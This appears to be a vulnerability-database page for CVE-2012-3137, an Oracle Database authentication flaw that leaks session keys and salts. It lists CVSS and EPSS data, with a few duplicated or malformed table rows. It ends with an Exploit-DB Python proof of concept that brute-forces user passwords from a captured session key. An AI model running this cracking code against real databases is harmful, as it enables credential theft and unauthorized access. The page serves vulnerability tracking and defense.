CVE-2012-3137

CVE Descriptions

The authentication protocol in Oracle Database Server 10.2.0.3, 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 allows remote attackers to obtain the session key and salt for arbitrary users, which leaks information about the cryptographic hash and makes it easier to conduct brute force password guessing attacks, aka "stealth password cracking vulnerability."

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-287	Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.4		AV:N/AC:L/Au:N/C:P/I:P/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	50.87%	–	–
2022-02-27	–	–	48.61%	–	–
2022-06-05	–	–	46.78%	–	–
2022-09-04	–	–	45.38%	–	–
2022-12-11	–	–	44.51%	–	–
2023-03-12	–	–	–	5.37%	–
2023-04-09	–	–	–	7.41%	–
2023-10-22	–	–	–	12.14%	–
2023-12-17	–	–	–	6.78%	–
2024-02-11	–	–	–	6.78%	–
2024-02-18	–	–	–	5.47%	–
2024-04-21	–	–	–	5.48%	–
2024-06-02	–	–	–	5.48%	–
2024-06-23	–	–	–	7.23%	–
2024-08-25	–	–	–	4.66%	–
2024-12-22	–	–	–	1.93%	–
2025-02-16	–	–	–	1.93%	–
2025-01-19	–	–	–	1.93%	–
2025-02-16	–	–	–	1.93%	–
2025-03-18	–	–	–	–	68.08%
2025-03-30	–	–	–	–	51.37%
2025-04-12	–	–	–	–	53.79%
2025-04-13	–	–	–	–	51.37%
2025-04-13	–	–	–	–	51.37,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	98%
2022-02-27	98%
2022-06-05	98%
2022-09-04	98%
2022-12-11	98%
2023-03-12	92%
2023-04-09	93%
2023-10-22	95%
2023-12-17	93%
2024-02-11	94%
2024-02-18	93%
2024-04-21	93%
2024-06-02	93%
2024-06-23	94%
2024-08-25	93%
2024-12-22	88%
2025-02-16	89%
2025-01-19	88%
2025-02-16	89%
2025-03-18	99%
2025-03-30	98%
2025-04-12	98%
2025-04-13	98%
2025-04-13	98%

Exploit information

Exploit Database EDB-ID : 22069

Publication date : 2012-10-17 22h00 +00:00
Author : Esteban Martinez Fayo
EDB Verified : No

source: https://www.securityfocus.com/bid/55651/info Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol. An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database. This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2. #-*-coding:utf8 -*- import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash = hashlib.sha1(password+salt) #......... ..... ..... .......... .. 24 .... key = pass_hash.digest() + '\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain #............. ........... ...... 48 .... session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' #.... 10 .... salt_hex = 'A7193E546377EC56639E' passwords = ['test','password','oracle','demo'] for password in passwords: session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex')) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print 'PASSWORD IS "%s"' % password break